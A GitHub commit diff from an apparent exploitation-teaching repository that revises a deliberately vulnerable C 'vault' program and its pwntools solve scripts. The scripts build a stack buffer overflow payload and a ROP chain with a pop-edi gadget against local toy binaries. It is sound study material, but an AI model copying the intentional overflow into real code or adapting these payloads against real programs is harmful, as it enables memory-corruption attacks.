Skip to content

Commit 41492ed

Browse files
committed
Fix buffer overflow example and add rop chaining example
1 parent abca022 commit 41492ed

File tree

7 files changed

+95
-76
lines changed

7 files changed

+95
-76
lines changed

buffer_overflow/buffer_overflow

100644100755
-6.88 KB
Binary file not shown.

buffer_overflow/buffer_overflow.c

Lines changed: 0 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,5 @@ int main()
1515

1616
fgets(input_buffer, 32, stdin); // Nothing can go wrong here right?
1717

18-
puts("HAHA you thought! There was no password, you can NEVER get in >:)");
19-
2018
return EXIT_SUCCESS;
2119
}

buffer_overflow/solve.py

Lines changed: 65 additions & 53 deletions
Original file line numberDiff line numberDiff line change
@@ -2,56 +2,68 @@
22

33
from pwn import *
44

5-
ACCESS_VAULT_FUNCTION_ADDR = 0x00401146
6-
7-
# Tell pwntools our target process to automate future functions
8-
elf = context.binary = ELF('buffer_overflow')
9-
10-
io = process() # Actually start running the process
11-
12-
# Wait until we are prompted with input
13-
# Notice how we use the "b" literal to mark it as a bytes object
14-
# https://docs.python.org/3/library/stdtypes.html#binary-sequence-types-bytes-bytearray-memoryview
15-
io.recvuntil(b"Enter the password to access Santa Ono's secret vault:")
16-
17-
# "disassemble main" in GDB launched with "gdb buffer_overflow"
18-
# Dump of assembler code for function main:
19-
# 0x0000000000401175 <+0>: push rbp
20-
# 0x0000000000401176 <+1>: mov rbp,rsp
21-
# 0x0000000000401179 <+4>: sub rsp,0x10
22-
# 0x000000000040117d <+8>: lea rax,[rip+0xe9c] # 0x402020
23-
# 0x0000000000401184 <+15>: mov rdi,rax
24-
# 0x0000000000401187 <+18>: call 0x401030 <puts@plt>
25-
# 0x000000000040118c <+23>: mov rdx,QWORD PTR [rip+0x2ead] # 0x404040 <stdin@GLIBC_2.2.5>
26-
# 0x0000000000401193 <+30>: lea rax,[rbp-0x10]
27-
# 0x0000000000401197 <+34>: mov esi,0x20
28-
# 0x000000000040119c <+39>: mov rdi,rax
29-
# 0x000000000040119f <+42>: call 0x401040 <fgets@plt>
30-
# 0x00000000004011a4 <+47>: lea rax,[rip+0xead] # 0x402058
31-
# 0x00000000004011ab <+54>: mov rdi,rax
32-
# 0x00000000004011ae <+57>: call 0x401030 <puts@plt>
33-
# 0x00000000004011b3 <+62>: mov eax,0x0
34-
# 0x00000000004011b8 <+67>: leave
35-
# 0x00000000004011b9 <+68>: ret <----- reads our injected return address!
36-
37-
# In assembly you can read "sub rsp,0x10" at the start of "main"
38-
# We need to write past 0x10 bytes to start modifying maliciously
39-
dummy_data = b'A' * 0x10
40-
# The saved ebp doesn't really matter
41-
# We only execute one other function which doesn't need it
42-
saved_ebp = b'B' * 8
43-
# We have to pack the address properly (endianess!)
44-
redirect_addr = p64(ACCESS_VAULT_FUNCTION_ADDR)
45-
# Craft the final bytes payload
46-
payload = dummy_data + saved_ebp + redirect_addr
47-
48-
# Overflow stack and get redirection
49-
# fgets will write past the end of the stack frame
50-
# It will set the return eip on the stack
51-
# The "ret" instruction will use this to go to our address
52-
io.send(payload)
53-
54-
# Open up stdin to terminal input
55-
# Required so you can start using the shell interactively
56-
# Generally speaking you add this after popping a shell
57-
io.interactive()
5+
import argparse
6+
7+
ACCESS_VAULT_FUNCTION_ADDR = 0x0000000000401176
8+
9+
if __name__ == '__main__':
10+
parser = argparse.ArgumentParser()
11+
parser.add_argument('--debug', action='store_true')
12+
13+
args = parser.parse_args()
14+
15+
# Tell pwntools our target process to automate future functions
16+
elf = context.binary = ELF('buffer_overflow')
17+
18+
if args.debug:
19+
io = gdb.debug(context.binary.path, '''
20+
set follow-fork-mode child
21+
break main
22+
continue
23+
''')
24+
else:
25+
io = process() # Actually start running the process
26+
27+
# Wait until we are prompted with input
28+
# Notice how we use the "b" literal to mark it as a bytes object
29+
# https://docs.python.org/3/library/stdtypes.html#binary-sequence-types-bytes-bytearray-memoryview
30+
io.recvuntil(b"Enter the password to access Santa Ono's secret vault:")
31+
32+
# "disassemble main" in GDB launched with "gdb buffer_overflow"
33+
# Dump of assembler code for function main:
34+
# 0x00000000004011a3 <+0>: endbr64
35+
# 0x00000000004011a7 <+4>: push rbp
36+
# 0x00000000004011a8 <+5>: mov rbp,rsp
37+
# 0x00000000004011ab <+8>: sub rsp,0x10
38+
# 0x00000000004011af <+12>: lea rdi,[rip+0xe6a] # 0x402020
39+
# 0x00000000004011b6 <+19>: call 0x401060 <puts@plt>
40+
# 0x00000000004011bb <+24>: mov rdx,QWORD PTR [rip+0x2e7e] # 0x404040 <stdin@@GLIBC_2.2.5>
41+
# 0x00000000004011c2 <+31>: lea rax,[rbp-0x10]
42+
# 0x00000000004011c6 <+35>: mov esi,0x20
43+
# 0x00000000004011cb <+40>: mov rdi,rax
44+
# 0x00000000004011ce <+43>: call 0x401070 <fgets@plt>
45+
# 0x00000000004011d3 <+48>: mov eax,0x0
46+
# 0x00000000004011d8 <+53>: leave
47+
# 0x00000000004011d9 <+54>: ret <-- returns to our injected address
48+
49+
# In assembly you can read "sub rsp,0x10" at the start of "main"
50+
# We need to write past 0x10 bytes to start modifying maliciously
51+
dummy_data = b'A' * 0x10
52+
# The saved ebp doesn't really matter
53+
# We only execute one other function which doesn't need it
54+
saved_ebp = b'B' * 0x8
55+
# We have to pack the address properly (endianess!)
56+
redirect_addr = p64(ACCESS_VAULT_FUNCTION_ADDR)
57+
# Craft the final bytes payload
58+
payload = dummy_data + saved_ebp + redirect_addr
59+
60+
# Overflow stack and get redirection
61+
# fgets will write past the end of the stack frame
62+
# It will set the return eip on the stack
63+
# The "ret" instruction will use this to go to our address
64+
io.send(payload)
65+
66+
# Open up stdin to terminal input
67+
# Required so you can start using the shell interactively
68+
# Generally speaking you add this after popping a shell
69+
io.interactive()

rop_chaining/Makefile

Lines changed: 4 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,8 @@
11
CC=gcc
2-
CFLAGS=-I. -fno-stack-protector -no-pie -Wno-stringop-overflow -Wno-nonnull -static
2+
CFLAGS=-I. -no-pie -Wno-stringop-overflow -Wno-nonnull -fno-stack-protector
33

4-
# Statically linked to give more gadgets
5-
buffer_overflow: rop.c
6-
$(CC) $(CFLAGS) -o rop rop.c
4+
rop_chaining: rop_chaining.c
5+
$(CC) $(CFLAGS) -o rop_chaining rop_chaining.c
76

87
clean:
9-
$(RM) rop
8+
$(RM) rop_chaining

rop_chaining/rop_chaining

16.4 KB
Binary file not shown.

rop_chaining/rop.c renamed to rop_chaining/rop_chaining.c

Lines changed: 1 addition & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -16,9 +16,7 @@ int main()
1616
char input_buffer[16];
1717
puts("Enter the password to access Santa Ono's secret vault:");
1818

19-
fgets(input_buffer, 32, stdin); // Nothing can go wrong here right?
20-
21-
puts("HAHA you thought! There was no password, you can NEVER get in >:)");
19+
fgets(input_buffer, 64, stdin); // Nothing can go wrong here right?
2220

2321
return EXIT_SUCCESS;
2422
}

rop_chaining/solve.py

Lines changed: 25 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -2,22 +2,34 @@
22

33
from pwn import *
44

5-
REGISTER_GADGET = 0x401df2
6-
ACCESS_VAULT_FUNCTION_ADDR = 0x4016fd
5+
import argparse
76

8-
elf = context.binary = ELF('rop')
9-
context.terminal = 'kitty'
107

11-
# io = process()
12-
io = gdb.debug('bash', '''
13-
break main
14-
continue
15-
''')
8+
if __name__ == '__main__':
9+
parser = argparse.ArgumentParser()
10+
parser.add_argument('--debug', action='store_true')
1611

17-
io.recvuntil(b"Enter the password to access Santa Ono's secret vault:")
12+
args = parser.parse_args()
1813

19-
payload = b'A' * 0x18 + p64(REGISTER_GADGET) + p64(1337) + p64(ACCESS_VAULT_FUNCTION_ADDR)
14+
POP_EDI_GADGET_ADDR = 0x0000000000401253
15+
ACCESS_VAULT_FUNCTION_ADDR = 0x0000000000401176
2016

21-
# io.send(payload)
17+
elf = context.binary = ELF('rop_chaining')
2218

23-
# io.interactive()
19+
if args.debug:
20+
io = gdb.debug(context.binary.path, '''
21+
set follow-fork-mode child
22+
break main
23+
continue
24+
''')
25+
else:
26+
io = process() # Actually start running the process
27+
28+
io.recvuntil(b"Enter the password to access Santa Ono's secret vault:")
29+
30+
payload = (b'A' * 0x10 + b'B' * 0x8 +
31+
p64(POP_EDI_GADGET_ADDR) + p64(1337) + p64(ACCESS_VAULT_FUNCTION_ADDR))
32+
33+
io.send(payload)
34+
35+
io.interactive()

0 commit comments

Comments
 (0)